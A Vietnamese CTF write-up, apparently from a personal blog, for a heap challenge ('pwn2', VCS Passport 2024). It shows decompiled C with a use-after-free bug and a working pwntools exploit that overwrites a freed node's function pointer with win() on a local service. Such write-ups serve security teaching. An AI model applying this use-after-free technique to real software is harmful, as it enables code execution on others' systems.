PWN2

December 13, 2025 December 12, 2025 Easy
Author Author Hung Nguyen Tuong

Setup

Đầu tiên mình setup docker, copy libc và ld, patch binary các kiểu:

ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ chmod +x run.sh
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ chmod +x service/chall
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ ./run.sh
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ nc 0 9002
Viettel Cyber Security
1.Create node
2.Update node
3.Delete node
4.View node
Enter your choice:
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public/service$ docker cp 7c923effc706:/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.13MB to /home/ngtuonghung/ctfs/vcs_passport_2024/pwn2/public/service/.
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public/service$ docker cp 7c923effc706:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 239kB to /home/ngtuonghung/ctfs/vcs_passport_2024/pwn2/public/service/.

Recon

Mitigation

Code

Node *list[100];

//----- (00000000004013B4) ----------------------------------------------------
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int choice;           // [rsp+4h] [rbp-3Ch] BYREF
  signed int buf_;      // [rsp+8h] [rbp-38h] BYREF
  unsigned int buf;     // [rsp+Ch] [rbp-34h] BYREF
  int node_count;       // [rsp+10h] [rbp-30h]
  int i;                // [rsp+14h] [rbp-2Ch]
  int m;                // [rsp+18h] [rbp-28h]
  int n;                // [rsp+1Ch] [rbp-24h]
  int k;                // [rsp+20h] [rbp-20h]
  int j;                // [rsp+24h] [rbp-1Ch]
  Node *node_;          // [rsp+28h] [rbp-18h]
  Node *node;           // [rsp+30h] [rbp-10h]
  unsigned __int64 v15; // [rsp+38h] [rbp-8h]

  v15 = __readfsqword(0x28u);
  init();
  choice = -1;
  buf_ = 0;
  node_count = 0;
  node_ = 0LL;
  for (i = 0; i <= 99; ++i)
    list[i] = 0LL;
  while (node_count <= 99)
  {
    menu();
    __isoc99_scanf("%u", &choice);
    if (choice == 4)
    {
      printf("Node ID ? :");
      buf = -1;
      node = 0LL;
      __isoc99_scanf("%u", &buf); // input node id
      for (j = 0; j <= 99; ++j)
      {
        if (list[j] && list[j]->id == buf)
        {
          node = list[j];
          break;
        }
      }
      if (node)
      {
        printf("ID : %d\nContent: %s\nContent size : %d\n", node->id, node->content, node->content_size);
        if (node->func)
          node->func();
      }
      else
      {
      not_found:
        puts("Not found");
      }
    }
    else if (choice <= 4)
    {
      switch (choice)
      {
      case 3:
        printf("Node ID ? :");
        buf_ = -1;
        node_ = 0LL;
        __isoc99_scanf("%u", &buf_);
        for (k = 0; k <= 99; ++k)
        {
          if (list[k] && list[k]->id == buf_)
            node_ = list[k];
        }
        if (!node_)
          goto not_found;
        free((void *)node_->content);
        node_->content = 0LL;
        free(node_);
        break;
      case 1: // create node
        node_ = (Node *)malloc(32uLL);
        buf = 0;
        printf("Content size :");
        __isoc99_scanf("%u", &buf); // input content size
        node_->content = (const char *)malloc((int)buf);
        if (!node_->content)
        {
          puts("Failed to malloc");
          exit(0);
        }
        printf("Enter content :");
        read(0, (void *)node_->content, buf);
        node_->content_size = buf;
        node_->id = node_count++;
        for (m = 0; m <= 99; ++m)
        {
          if (!list[m])
          {
            list[m] = node_;
            break;
          }
        }
        printf("[*]Success! Your node id is :%d\n", node_->id);
        break;
      case 2: // update node
        printf("Node ID ? :");
        buf_ = -1;
        node_ = 0LL;
        __isoc99_scanf("%u", &buf_); // input node id
        for (n = 0; n <= 99; ++n)
        {
          if (list[n] && list[n]->id == buf_)
          {
            node_ = list[n];
            break;
          }
        }
        if (!node_)
          goto not_found;
        printf("New content size: ");
        __isoc99_scanf("%u", &buf_); // input content size
        if ((signed int)node_->content_size >= buf_ || (node_->content = (const char *)malloc(buf_)) != 0LL)
        {
          printf("Enter new content: ");
          read(0, (void *)node_->content, (unsigned int)buf_);
          node_->content_size = buf_;
        }
        else
        {
          puts("Failed to malloc");
        }
        break;
      }
    }
  }
  return 0;
}

Mình xác định struct của Node như sau:

  • 8 byte func
  • 4 byte id
  • 4 byte padding
  • 8 byte content
  • 4 byte content size
  • 4 byte padding for alignment

Có 3 nơi gọi malloc:

  • new node (fixed 32 byte) (choice 1).
  • new content (user input) (choice 1).
  • replace content (user input) (choice 2).

2 nơi gọi:

  • free content, đã set null sau đó (choice 3)
  • free node sau khi free content, nhưng không set null sau đó, có thể uaf bởi vì con trỏ vẫn lưu trong list (choice 3).

Solve

#!/usr/bin/env python3

from pwn import *

exe = ELF("chall_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)

context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "localhost"
        port = 9002
        return remote(host, port)

p = conn()

def create_node(size, content):
    slan(p, b'choice', 1)
    slan(p, b'size', size)
    sa(p, b'content', content)

def update_note(id, size, content):
    slan(p, b'choice', 2)
    slan(p, b'ID', id)
    slan(p, b'size', size)
    sa(p, b'content', content)

def delete_node(id):
    slan(p, b'choice', 3)
    slan(p, b'ID', id)

def view_node(id):
    slan(p, b'choice', 4)
    slan(p, b'ID', id)

# Tạo node 0
create_node(32, b'A')
# Tạo note 1 để sửa content
create_node(10, b'A')
# Xoá node 0, list[0] vẫn giữ con trỏ
delete_node(0)
# Edit content node 1 để cấp phát lại đến node 0 -> ghi đè con trỏ hàm với win()
update_note(1, 32, p64(exe.symbols['win']))

view_node(0)

ia(p)

Script